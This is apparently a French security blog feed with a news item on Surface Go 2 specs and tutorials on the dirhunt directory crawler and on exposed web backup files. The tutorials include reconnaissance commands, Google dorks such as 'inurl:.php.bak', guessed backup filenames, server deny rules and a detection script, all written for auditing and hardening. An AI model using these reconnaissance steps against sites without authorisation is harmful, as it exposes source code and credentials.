<p>Egalement, les postes utilisateurs comme les serveurs doivent faire l'objet d'un <strong>durcissement qui vise à n'installer que les outils nécessaires</strong> à leur besoin métier et à interdire l'installation d'outils par des utilisateurs non privilégiés. Par exemple, les distributions Linux possèdent presque toutes nativement les paquets <em>tcpdump</em> ou <em>nmap</em> d'installés, et il est très fréquent que ces outils soient réutilisés lors d'une intrusion. L'attaquant n'a alors pas à installer ses propres outils, actions qui pourrait trahir sa présence (connexion à Internet, installation de nouveaux paquets, modification des droits ou permissions, etc.). Tous les logiciels permettant une écoute réseau doivent donc être désinstallés (et plus largement ceux qui ne répondent pas à un besoin métier ou technique justifié). Cela fait notamment partie des recommandations de la <strong>règle 14 du Guide d'hygiène de l'ANSSI</strong> : "Mettre en place un niveau de sécurité minimal sur l’ensemble du parc informatique".</p>
<p>Enfin, <strong>des outils de détection d'intrusion peuvent également être utilisés</strong> afin de trahir, non par une écoute réseau, mais une attaque par l'homme du milieu. Une attaque de type <em>ARP spoofing</em> est par exemple très visible sur le réseau. L'article suivant détaille le pourquoi et le comment de cette attaque et les protections possibles : <a href="https://ogma-sec.fr/attaque-man-in-the-middle-via-arp-spoofing/" target="_blank" rel="noopener noreferrer">Comprendre les attaques via ARP spoofing (MITM, DOS)</a></p>
<p>Bref, ce petit outil est très pratique car il automatise une bonne partie du travail de recherche d'identifiants. Mais l'application des bonnes pratiques générales de sécurité permettent tout de même de se protéger, non pas de son utilisation directe, mais des vulnérabilités ou faiblesses qu'il exploite.</p>


feed_id: https://www.it-connect.fr/?p=34784
title: Leak : Surface Go 2, les caractéristiques se précisent !
uri: Leak-Surface-Go-2-les-caractéristiques-se-précisent
url: https://www.it-connect.fr/leak-surface-go-2-les-caracteristiques-se-precisent/
content:
<p><strong>Microsoft prépare la seconde génération de la Surface Go, la version allégée et alternative à la Surface Pro. Pour la Surface Go 2, la configuration matérielle pourrait effectuer un bond intéressant.</strong></p>
<p>D'après Tom's Hardware, cette nouvelle génération de Surface Go pourrait hériter d'un processeur Intel Core M3 et d'un Intel Pentium. Plus précisément, il s'agirait d'un Intel Core M3-8100Y (2 cœurs / 4 threads) cadencé à 1,10 Ghz avec un boost possible à 3,4 GHz. Pour le processeur Intel Pentium, il s'agirait d'un 4425Y qui dispose de 2 cœurs et 4 threads cadencés à 1,7 Ghz contrairement à la première génération équipée d'un 4415Y limité à 1,6 GHz.</p>
<p><img class="aligncenter size-full wp-image-34785" src="media/ea57f9a8.surface-go-2-leak.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/surface-go-2-leak.jpg" alt="" width="650" height="430" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/surface-go-2-leak.jpg 650w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/surface-go-2-leak-550x364.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/surface-go-2-leak-150x99.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/surface-go-2-leak-160x106.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/surface-go-2-leak-50x33.jpg 50w" sizes="(max-width: 650px) 100vw, 650px" /></p>
<p>Concernant la partie stockage, <strong>il s'agirait du même SSD que celui de la Surface Pro 7 et de la Surface Pro X</strong>. Le modèle avec Core M3 aurait 256 Go de stockage alors que le modèle avec le Pentium serait équipé d'un SSD de 128 Go. Dans les deux cas, la puce graphique est une Intel UHD 615 et la mémoire RAM de 8 Go.</p>
<p>Bien que tout cela ne soit encore que des rumeurs, ça se précise.</p>
<p><a href="https://www.tomsguide.com/uk/news/microsoft-surface-go-2-specs-leaked-and-it-could-crush-the-ipad-air" target="_blank" rel="noopener noreferrer">Source</a></p>


feed_id: https://www.it-connect.fr/?p=34244
title: Dirhunt – Enumération des répertoires web sans brute force
uri: Dirhunt-Enumération-des-répertoires-web-sans-brute-force
url: https://www.it-connect.fr/dirhunt-enumeration-des-repertoires-web-sans-brute-force/
content:
<h2>I. Présentation</h2>
<p>Je vous présente dans ce court article un outil que j'ai découvert récemment lors de la résolution des challenges natas. Il s'agit de <em>dirhunt</em>, un outil d’énumération de répertoires web qui n'utilise pas la technique du <em>bruteforce.</em></p>
<p>Les méthodes les plus communes pour lister avec le plus d'exhaustivité possible les répertoires d'une application web sont les deux suivantes :</p>
<ul>
<li>Utiliser<strong> un proxy web</strong> (BurpSuite, OWASP ZAP), positionné entre notre navigateur et le serveur web, et utiliser manuellement l'application web avec le plus d’exhaustivité possible. On essai d'accéder à toutes les pages, tous les formulaires, etc. On se retrouve au final avec un grand nombre de fichiers et répertoires listés dans notre proxy.</li>
<li>Utiliser <strong>un dictionnaire</strong> (aussi appelé <em>wordlist</em>) contenant un ensemble de noms de répertoires "communs", c'est à dire qui sont très souvent présents sur les applications web. Par exemple<em> https://monsite.fr/blog</em>,<em> /contact</em>, <em>/image</em>, <em>/css</em> etc. Plus nous avons de temps et une <em>wordlist</em> complète, plus nous aurons de chance de trouver un grand nombre de répertoires. Des outils tels que <em>dirbuster</em> ou <em>dirsearch</em> permettent de réaliser ce type d'opération.</li>
</ul>
<p>Ces deux méthodes sont généralement efficaces mais peuvent montrer quelques limites. Pour la méthode du proxy, le temps d'obtention d'une liste complète des répertoires dépend de la taille de l'application web. <strong>L'opération peut être longue à réaliser</strong> car la découverte se fait surtout manuellement. Pour la méthode de l'énumération, <strong>cela est aussi assez long et beaucoup de requêtes sont envoyées pour rien</strong> (si 10% du contenu de votre dictionnaire retourne des résultats positifs, vous serez déjà très chanceux). Un très grand pourcentage du trafic (et du temps) généré sera donc inutile.</p>
<p><em>Dirhunt</em> peut ici être utilisé pour compléter ces deux méthodes.<strong> Il agit comme un <em>crawler</em></strong><em>,</em> c'est à dire qu'il va suivre tous les liens des pages web du site ciblé, et cela automatiquement.</p>
<blockquote><p>Un <b>robot d'indexation</b> (ou littéralement <b>araignée</b> du Web ; en anglais <i><b><span class="lang-en" lang="en">web crawler</span></b></i> ou <i><b><span class="lang-en" lang="en">web spider</span></b></i>) est un logiciel qui explore automatiquement le Web. Il est généralement conçu pour collecter les ressources (<a title="Page web" href="https://fr.wikipedia.org/wiki/Page_web">p</a>ages Web, images, vidéos, documents Word, PDF ou PostScript, etc.), afin de permettre à un moteur de recherche de les indexer.</p>
<p>Source : <a href="https://fr.wikipedia.org/wiki/Robot_d%27indexation" target="_blank" rel="noopener noreferrer">https://fr.wikipedia.org/wiki/Robot_d%27indexation</a></p></blockquote>
<p>A chaque nouvelle page analysée, il recherche dans le code source de ces pages les répertoires et met à jour une liste de répertoires valides sur l'application web au fur et à mesure.</p>
<h2>II. Enumération des répertoire web, pour quoi faire ?</h2>
<p>Avant de passer à la démonstration et aux options et cas d'utilisation de <em>dirhunt</em>, discutons un peu <strong>des contextes dans lesquels une énumération des répertoires web peut être utile</strong>.</p>
<p>Lors de l'analyse de la sécurité d'une application web (incluons là dedans bug bounty, audit de sécurité, etc.)<strong> la cartographie est l'une des première étape à mener</strong>. Plus la cartographie est complète, moins nous aurons de chance de passer à côté d'une fonction, d'un formulaire ou d'une page contenant des vulnérabilités. La cartographie sert en somme<strong> dessiner le périmètre de l'application</strong>.</p>
<p>Dans un tel contexte, on énumère notamment les sections du site web (une partie authentifiée, une partie en accès non authentifié), sa technologie (via le <em><a href="https://ogma-sec.fr/quest-ce-banner-grabbing/" target="_blank" rel="noopener noreferrer">banner grabbing</a></em> et autres indicateurs), ses fichiers et ses répertoires.</p>
<p>Quoi de plus facile de commencer l'analyse de la sécurité d'une application web en tombant dés les premières minutes sur un répertoire <em>/backup</em> contenant une archive ZIP avec le contenu de la base de donnée ?</p>
<p>L'énumération des répertoires (et fichiers) d'une application web et donc <strong>une étape essentielle à exécuter durant les phases de reconnaissance d'une application</strong>, potentiellement à réitérer plus tard, par exemple un fois que l'on a obtenu un accès authentifié.</p>
<h2>III. Installation et utilisation de <em>dirhunt</em></h2>
<p>Dirhunt est écrit en Python et est disponible sur Github (<a href="https://github.com/Nekmo/dirhunt" target="_blank" rel="noopener noreferrer">https://github.com/Nekmo/dirhunt</a>), il peut également être installé depuis <em>pip3</em>  :</p>
<pre>pip3 install dirhunt</pre>
<p>Rien de plus compliqué que cela, il suffit ensuite de l'utiliser. Une documentation plutôt complète est disponible sur le blog de l'auteur : <a href="http://docs.nekmo.org/dirhunt/usage.html" target="_blank" rel="noopener noreferrer">http://docs.nekmo.org/dirhunt/usage.html</a></p>
<p>Pour exposer quelques cas d'utilisation, le plus simple est le suivant :</p>
<pre>dirhunt https://ogma-sec.fr</pre>
<p><a href="media/138f4386.dirhunt11.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/dirhunt11.png"><img class="aligncenter size-full wp-image-34245" src="media/138f4386.dirhunt11.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/dirhunt11.png" alt="" width="799" height="293" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/dirhunt11.png 799w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/dirhunt11-550x202.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/dirhunt11-150x55.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/dirhunt11-768x282.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/dirhunt11-160x59.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/dirhunt11-50x18.png 50w" sizes="(max-width: 799px) 100vw, 799px" /></a></p>
<p>On peut également spécifier plusieurs cibles :</p>
<pre>dirhunt https://ogma-sec.fr/rep1 https://wikipedia.org</pre>
<p>L'option la plus intéressante est la possibilité de filtrer par liste blanche ou liste noire les résultats. Cela permet d'exclure les redirections, les erreurs 404 ou au contraire de n'afficher que les <em>Directory Listing</em> (qui sont relevés et indiqués par dirhunt) :</p>
<pre>dirhunt https://ogma-sec.fr/ --include-flags "Index Of"
dirhunt https://ogma-sec.fr/ --exclude-flags "404"</pre>
<p>Dirhunt se base donc sur la méthode des <em>crawlers</em> des moteurs de recherche. <strong>En théorie,</strong> il est également censé aller chercher des informations sur Google, VirusTotal, ou encore le fichier <em>robots.tx</em>t (si présent), mais après avoir testé l'outil, il semble que cette partie fonctionne mal, j'ai levé une <em>issue</em> sur son Github.</p>
<p>Enfin pour stocker tous les répertoires trouvés dans un fichier, on utilise le classique chevron :</p>
<pre>dirhunt https://ogma-sec.fr &gt; dir-ogma-sec.fr</pre>
<p>J'ai pour ma part essayé de développer mon propre outil avant de trouver celui-ci, notamment pour résoudre le challenge Natas 4 (article à venir). La tâche n'est pas facile car il faut prévoir tous les cas possibles, redirection, 404, 403, savoir reconnaitre quand une URL contient plusieurs répertoires, pouvoir prendre en entrée plusieurs types de données, des fichiers externes (possible avec <em>dirhunt</em> en indiquant un<em> /chemin/fichier</em> à la plage de  l'URL en entrée), etc.</p>
<p>Bref, un outil très utile, il lui manque peut être la gestion de l'authentification en option. Le code étant en Python, il peut être facilement modifié si nécessaire.</p>


feed_id: https://www.it-connect.fr/?p=34476
title: Sécurité des webapps : Le cas des fichiers de Backup
uri: Sécurité-des-webapps-Le-cas-des-fichiers-de-Backup
url: https://www.it-connect.fr/securite-des-webapps-le-cas-des-fichiers-de-backup/
content:
<h2>I. Présentation</h2>
<p>La gestion d'un serveur web ou d'un site web nécessite couramment des opérations de modification et d'amélioration du code, parfois directement sur le serveur de production, ces manipulations peuvent toutefois faire naître des failles de sécurité importantes dont il est important d'être informé.</p>
<p>Nous allons ici étudier le cas des fichiers de sauvegarde et de leur présence dans les arborescences web. Nous verrons comment ceux-ci peuvent se créer, parfois de façon automatique et quels problèmes de sécurité ils posent.</p>
<h2>II. Extension .swp .bak .old... tout sauf du PHP</h2>
<p>Dans le domaine des applications web, on peut couramment retrouver deux types de fichiers de sauvegarde :</p>
<ul>
<li>Les fichiers créés automatiquement</li>
<li>Les fichiers créés manuellement</li>
</ul>
<p>Il faut tout d'abord savoir comment ces fichiers se retrouvent dans une arborescence web, et comment ils deviennent consultables depuis un simple navigateur web.</p>
<h3>A. Les fichiers de sauvegarde générés automatiquement</h3>
<p>Pour les fichier créés automatiquement,<strong> ils apparaissent notamment lorsque l'on édite un fichier</strong>. C'est le cas de certains éditeurs comme <em>"vi"</em> ou <em>"vim" </em>qui  en créent dans <em>"swap file"</em> dès qu'un fichier est édité et que ces modifications ne sont pas sauvegardées.<br />
Pour exemple, dans mon répertoire web <em>/var/www/html,</em> je possède un fichier <em>"index.php".</em> Son code source n'est donc pas visible par le public consultant mon site web. Afin d'améliorer ou de modifier mon <em>index.php,</em> je l'édite avec <em>vim</em> et commence à écrire à l'intérieur, dès lors, un fichier <em>.index.php.swp</em> va se créer dans mon arborescence de fichier :</p>
<pre>drwxr-xr-x 2 www-data www-data 4096 juin 13 14:46 .
drwxr-xr-x 3 root root 4096 juin 10 09:50 ..
-rw-r--r-- 1 www-data www-data 75 juin 13 12:34 .htaccess
-rw-r--r-- 1 www-data www-data 11104 juin 10 09:50 index.html
-rw-r--r-- 1 www-data www-data 46 juin 13 14:46 index.php
-rw-r--r-- 1 root root 12288 juin 13 14:47 .index.php.swp</pre>
<p>Ici, j'édite mon fichier en tant que <em>root,</em> vous pouvez néanmoins voir que <strong>tout le monde pourra quand même lire mon fichier</strong> "<em>-rw-r--r--</em>". Si j'accède à ce fichier via un navigateur web :<br />
<a href="media/c9482b97.fichier-sauvegarde-webapp-securite-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/fichier-sauvegarde-webapp-securite-01.jpg"><img class="aligncenter size-full wp-image-34480" src="media/c9482b97.fichier-sauvegarde-webapp-securite-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/fichier-sauvegarde-webapp-securite-01.jpg" alt="" width="607" height="415" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/fichier-sauvegarde-webapp-securite-01.jpg 607w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/fichier-sauvegarde-webapp-securite-01-550x376.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/fichier-sauvegarde-webapp-securite-01-150x103.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/fichier-sauvegarde-webapp-securite-01-160x109.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/fichier-sauvegarde-webapp-securite-01-50x34.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/fichier-sauvegarde-webapp-securite-01-130x90.jpg 130w" sizes="(max-width: 607px) 100vw, 607px" /></a><br />
En effet, étant donné que <strong>le fichier que je demande à mon serveur web ne comporte pas l'extension d'un fichier exécutable par le serveur</strong> tel que .<em>php</em>, il va le traiter comme un fichier .<em>txt</em>, une image ou un autre document et me proposer de le télécharger, une fois téléchargé, voici son contenu :<br />
<a href="media/2e05a494.fichier-sauvegarde-webapp-securite-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/fichier-sauvegarde-webapp-securite-02.jpg"><img class="aligncenter size-large wp-image-34479" src="media/15d6dda0.fichier-sauvegarde-webapp-securite-02-800x375.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/fichier-sauvegarde-webapp-securite-02-800x375.jpg" alt="" width="800" height="375" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/fichier-sauvegarde-webapp-securite-02-800x375.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/fichier-sauvegarde-webapp-securite-02-550x258.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/fichier-sauvegarde-webapp-securite-02-150x70.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/fichier-sauvegarde-webapp-securite-02-768x360.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/fichier-sauvegarde-webapp-securite-02-160x75.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/fichier-sauvegarde-webapp-securite-02-1536x721.jpg 1536w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/fichier-sauvegarde-webapp-securite-02-50x23.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/fichier-sauvegarde-webapp-securite-02.jpg 1908w" sizes="(max-width: 800px) 100vw, 800px" /></a><br />
Ici, et pour détailler un peu ce qui est affiché, il s'agit de tous les caractères et lignes de code que j'ai ajouté dans mon fichier <em>index.php</em> depuis que je l'ai ouvert avec vim.</p>
<p>Techniquement, les fichiers <em>.SWP</em> ou "<em>vi Swap File</em>" sont des fichiers créés par <em>vi</em> (ou ses variantes, <em>vim, gvim,etc.),</em> ils stockent une version temporaire du fichier édité. Cela permet par exemple à un autre programme d'ouvrir le même fichier sans entrer en conflit avec <em>vim.</em> Dès qu'un fichier est édité par vim, la copie en <em>.swp</em> de ce fichier est créée dans le répertoire courant et avec les droits de l'utilisateur exécutant <em>vim.</em> Par exemple, si le fichier <em>"login.php"</em> est ouvert avec <em>vim,</em> puis que l'on commence à l'éditer (à changer son contenu), un fichier <em>.login.php.swp</em> va alors être créé. Une autre raison légitime de ce mode de fonctionnement est le fait qu'en cas de crash ou de fermeture du programme <em>vim</em> (exemple avec un "<em>kill -9</em>"), le fichier .<em>swp</em> va permettre de reprendre l'édition au moment du crash en utilisant l'option <em>"Recover"</em> de <em>vim,</em> on pourra d'ailleurs avoir le message "<em>Swap file .login.php.swp already exists</em>".</p>
<p>Il faut noter que lorsque le fichier est finalement sauvegardé,<strong> son swap file au format .swp est supprimé</strong>. Toutefois, lorsque le fichier est quitté de manière non standard (exemple, coupure SSH lors de l'édition via une connexion SSH, extinction brute, kill -9...), <strong>le fichier .swp n'est alors pas supprimé et son existence persiste jusqu'à une suppression manuelle</strong>.</p>
<p>Outre vim, d'autres programmes ont le même comportement sur différentes plate-formes, c'est le cas d'emacs par exemple, qui créé automatiquement une version backup des fichiers édités dans certains cas d'édition.</p>
<h3>B. Les fichiers de sauvegarde générés manuellement</h3>
<p>Les cas les plus courant concernent les fichiers de sauvegarde créés manuellement, et bien souvent oubliés dans l'arborescence web. Il est (très) courant, avant de devoir éditer des fichiers, d'en créer des sauvegardes par sécurité. Une habitude répandue consiste à exécuter cette simple commande :</p>
<pre>cp fichieramodifier.php fichieramodifier.php.bak</pre>
<p>Ou encore :</p>
<pre>cp fichieramodifier.php fichieramodifier.php.old</pre>
<p>En soit, cela est une excellente habitude, <strong>car on peut alors revenir rapidement à une version d'origine du fichier en cas de mauvaise manipulation,</strong> d'erreur de code, etc. Cependant, ces fichiers se retrouvent dans l'arborescence web et sont alors consultables pour  n'importe quel visiteur. On se retrouve alors également avec la possibilité de les télécharger pour en visionner le contenu, simplement en allant avec un navigateur sur l'URL <em>http://monsite/fichieramodifier.php.bak</em></p>
<p>Également, on peut être amené à vouloir<strong> sauvegarder l'intégralité d'un site web ou d'un répertoire dans une archive</strong>, par exemple une archive au format <em>.tar.gz</em> ou <em>.zip,</em> par manque de prudence, ces archives se retrouvent elles aussi dans l'arborescence web et sont alors directement téléchargeables depuis un navigateur.</p>
<p><strong>Les backups de base de données</strong>, par exemple dans des fichiers <em>.sql</em> sont aussi très pratiques pour effectuer rapidement des sauvegardes d'une application web, également, ces fichiers peuvent se retrouver dans bien des cas dans l'arborescence web, voire directement indexés sur des moteurs de recherche.</p>
<h3>C. Les répertoires de backups</h3>
<p>Une bonne habitude à prendre en tant que sysadmin ou webmaster est le versionning et le stockage des sauvegardes faites. Toutefois, <strong>il faut absolument éviter de stocker ces répertoires à l'intérieur même du répertoire web de l'application ou du serveur web</strong>. Il est aujourd'hui courant de trouver des accès sur des URLs du type :</p>
<ul>
<li>site.demo/old</li>
<li>site.demo/backups</li>
<li>site.demo/save</li>
</ul>
<p>Bien que cette habitude soit une bonne chose, entreposer les backups d'une application web ou d'une base de données à l'intérieur même de celle-ci est très dangereux car<strong> ces répertoires, s'ils ne sont pas protégés, peuvent alors être consultés librement</strong> depuis un navigateur web.</p>
<p>Dans les cas les plus courants, on oublie de vérifier la présence de ces fichiers et de les supprimer, dans les cas plus spécifiques, ils sont accessibles via une mauvaise gestion des droits ou des failles LFI (Local File Inclusion).</p>
<h2>III. L'accès au code source, un problème ?</h2>
<p>Nous avons vu que ces fichiers pouvaient être créés de façon automatique ou de façon manuelle et également que leur présence dans l'arborescence web peut être beaucoup moins temporaire que prévue. <strong>Mais en quoi ces fichiers posent-ils un problème de sécurité ?</strong></p>
<p>En soit, l'accès au code source d'un fichier HTML est la condition même du bon fonctionnement d'un serveur web. Lorsqu'une requête est faite à un serveur, le code HTML est envoyé dans son intégralité au client pour que son navigateur lui affiche correctement les images, couleurs et textes transmis. Néanmoins, <strong>le code PHP est lui un code exécuté du côté du serveur</strong> "<em>server side code</em>" est n'a aucunement pour vocation d'être lu par les visiteurs d'un site web ou par les navigateurs.</p>
<p>Pour rappel, lorsqu'un client demande l'affichage d'une page web en allant par exemple sur <em>"http://site.demo/index.php",</em> le serveur exécute le script "<em>index.php</em>" qui va alors générer dynamiquement un code HTML, c'est ce code HTML qui sera renvoyé au client, et non le code PHP. C'est pour cette raison que le code PHP est un code côté serveur, car c'est le serveur qui le lit et l'exécute :<br />
<a href="media/c810f388.schema-client-serveur-web.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/schema-client-serveur-web.jpg"><img class="aligncenter size-large wp-image-34478" src="media/265a544d.schema-client-serveur-web-800x253.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/schema-client-serveur-web-800x253.jpg" alt="" width="800" height="253" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/schema-client-serveur-web-800x253.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/schema-client-serveur-web-550x174.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/schema-client-serveur-web-150x47.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/schema-client-serveur-web-768x243.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/schema-client-serveur-web-160x51.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/schema-client-serveur-web-50x16.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/schema-client-serveur-web.jpg 867w" sizes="(max-width: 800px) 100vw, 800px" /></a>Si un client arrive à télécharger le code PHP, comme dans les contextes vus plus haut, cela peut être relativement dangereux :</p>
<ul>
<li>La lecture du code PHP peut donner accès à des informations comme des noms de variables, des chemins d'accès aux fichiers, des noms de répertoire</li>
<li>La lecture du code PHP peut permettre une analyse du code, beaucoup plus efficace en terme de recherche de vulnérabilité que celle faite dans la position du client web</li>
<li>Cela peut également permettre de voir les commentaires PHP insérés dans le script PHP, avec toutes les informations qu'ils peuvent contenir</li>
<li>Plus rarement, et même si cela est hautement déconseillé, on pourra parfois retrouver des informations telles que des noms d'utilisateurs ou mots de passe directement dans le code PHP ou dans les commentaires.</li>
</ul>
<p>On comprend alors mieux pourquoi ce code PHP n'a absolument par pour vocation d'être vu par les visiteurs d'un site web, il fait partie du <em>"backoffice"</em> dans le fonctionnement du serveur web et peut contenir des informations sensibles.</p>
<h2>IV. Quelques outils offensifs</h2>
<p>Bien souvent lors de l'audit d'un site web et d'un test d'intrusion, personne se mettant dans la peau de l'attaquant <strong>va effectuer la recherche des fichiers de backups de façon manuelle</strong>. En effet, la création d'un fichier XXXXXX.php.bak n'est pas une norme et est loin d'être systématique comme pourrait l'être la présence d'un <em>"install.php"</em> à la racine d'une application web.</p>
<p>Cependant, différents outils permettent d'automatiser leur détection, on retrouve par exemple <strong>l'utilisation des Googles Dorks</strong>, très efficace lorsque ces fichiers de sauvegarde se retrouvent indexés. Par exemple, l'utilisation des directives "<em>inurl:.php.bak</em>" ou "<em>filetype:bak OR filetype:old</em>" permet de retrouver les fichiers de sauvegarde oubliés d'un serveur web.</p>
<p>Il faut toutefois noter que bien que ces fichiers traînent souvent dans les serveurs web, <strong>ceux-ci ne sont pas systématiquement indexés par les moteurs de recherche</strong>, c'est le cas des applications web internes par exemple.</p>
<p>On peut également facilement construire un outils qui, pour chaque URL trouvée et renvoyant un code 200 sur une application web (exemple : <em>index.php),</em> va tester l'équivalence avec des syntaxes propres aux fichiers de sauvegarde :</p>
<ul>
<li>index.php.bak</li>
<li>index.bak</li>
<li>index.php.old</li>
<li>index.old</li>
<li>.index.php.swp</li>
<li>etc.</li>
</ul>
<h2>V. Les protections à mettre en place, techniques et humaines</h2>
<p>Afin de protéger les serveurs et applications web des extractions d'informations vues précédemment, plusieurs systèmes peuvent être mis en place :</p>
<h3>A. Interdire les extensions de "backup"</h3>
<p>Commençons par les protections techniques, lorsqu'il est nécessaire d'effectuer un fichier de backup temporaire, on peut observer une certaine logique générale qui est de mettre ces fichiers en <em>.bak</em> ou <em>.old.</em> Libre à vous d'utiliser d'autres syntaxes comme <em>.save, .backup</em> ou <em>.nimportequoi.</em> la logique de protection restera la même du moment que vous adaptez la méthode de protection à vos habitudes.</p>
<p>Sous <em>Apache,</em> il est possible de mettre en place<strong> une restriction par .htaccess qui va permettre d'interdire toute lecture de certaines extensions de fichier</strong>. On peut alors se permettre de dire au serveur web "<em>Refuse l'accès à toutes les ressources ayant comme extension .bak</em>". Bien entendu, on peu remplacer <em>.bak</em> par ce que l'on souhaite. Il faut néanmoins, dans votre équipe de travail, normaliser le fait que les fichiers de backup temporaires seront <em>.bak</em> et pas <em>.baks, .old</em> ou <em>.backup.</em></p>
<p>Pour mettre en place une telle protection avec un <em>.htaccess</em> sous Apache2, on peut utiliser la syntaxe suivante :</p>
<pre>&lt;Files ".bak"&gt;
     Order Allow,Deny
     Allow from none
     Deny from all
&lt;/Files&gt;</pre>
<p>Ainsi, dès que l'on souhaitera avoir accès à un fichier ayant comme extension <em>".bak",</em> on aura une interdiction de la part du serveur (code d'erreur HTTP 403) :<br />
<a href="media/e4efefa5.fichier-sauvegarde-webapp-securite-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/fichier-sauvegarde-webapp-securite-03.jpg"><img class="aligncenter size-full wp-image-34477" src="media/e4efefa5.fichier-sauvegarde-webapp-securite-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/fichier-sauvegarde-webapp-securite-03.jpg" alt="" width="552" height="130" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/fichier-sauvegarde-webapp-securite-03.jpg 552w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/fichier-sauvegarde-webapp-securite-03-550x130.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/fichier-sauvegarde-webapp-securite-03-150x35.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/fichier-sauvegarde-webapp-securite-03-160x38.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/fichier-sauvegarde-webapp-securite-03-50x12.jpg 50w" sizes="(max-width: 552px) 100vw, 552px" /></a>Je vous conseille alors de mettre un ensemble de règles comme celle-ci dans vos <em>.htaccess</em> couvrant la plupart des extensions vues ici <em>(.bak, .swp, .old...),</em> la règle ressemblera alors à cela :</p>
<pre>&lt;Files ~"\.(bak|swp|old|sql|zip)$"&gt;
        Order Allow,Deny
        Allow from none
        Deny from all
&lt;/files&gt;</pre>
<p>Si vous avez un serveur web tournant sous Ng<em>inx,</em> voici la configuration correspondante , à mettre dans le fichier de votre vhost :</p>
<pre>location ~\.(bak|old|swp|sql|zip)$ {
    return 403;
}</pre>
<p>Libre à vous d'y ajouter les extensions souhaitées ou non. Le <em>".zip"</em> par exemple peut être utile dans un contexte normal, si l'on met à disposition des utilisateurs des archives téléchargeables. Encore plus sécurisé, mais beaucoup plus restrictif, on peut tout simplement n'autoriser aucune extension, sauf celles spécifiées. On abandonne alors le mode "<em>Liste noire</em>" dans laquelle tout est autorisé sauf ce qui est explicitement interdit, au profit du mode "<em>Liste blanche</em>" dans laquelle tout est interdit sauf ce qui est explicitement autorisé. Dans le cadre d'Apache2 avec un <em>.htaccess,</em> cela donnera les règles suivantes :</p>
<pre>// On interdit toutes les extensions</pre>
<pre>&lt;Files ~ "\..*$"&gt;
        Order Allow,Deny
        Allow from none
        Deny from all
&lt;/Files&gt;</pre>
<pre>// On autorise seulement ce qui est légitime, image, php, html ...
&lt;Files ~ "\.(html|php)$"&gt;
        Order Deny,Allow
        Deny from none
        Allow from all
&lt;/Files&gt;</pre>
<p>Cette dernière méthode est beaucoup moins simple à gérer mais évite les mauvaises surprises. On peut déjà penser à ajouter les extensions d'images pour avoir un site exploitable...</p>
<h3>B. Partir à la chasse des extensions de backup</h3>
<p>Une seconde opération qui pourrait être mise en place pourrait être le fait de faire tourner un script régulièrement sur l'arborescence web d'un serveur web. <strong>Ce script pourra alors partir à la recherche d'extension de backup comme les fichiers en <em>.bak</em> ou <em>.old</em> pour ensuite envoyer un mail à l'administrateur du serveur si de telles extensions sont trouvées</strong>. Ce genre de script peut être développé très rapidement en bash et améliorera à coup sûr la sécurité de vos serveurs web, un exemple de script que vous pouvez utiliser, je l'ai rédigé pour l'article, il peut donc certainement être amélioré :</p>
<pre>#!/bin/bash
# Script to find backup extension files in web directory
# Create tmp file for output storage
TEMP=$(mktemp)
# Admin mail
AdmMail="foo@bar.test"
# Path to web directory
WebDir="/var/www/ogma-sec.fr"
# Bad extensions to find, please keep the regexp syntax
BadExtension=".*\.\(bak\|swp\|old\)$"
find $WebDir -regex $BadExtension &gt; ${TEMP}
# If tmp file is not empty, send its content to admin
if [[ -s ${TEMP} ]] ; then
    cat ${TEMP} | mail -s "Bad Extension finded ${hostname}" $AdmMail
fi ;
# Delete tmp file
rm ${TEMP}</pre>
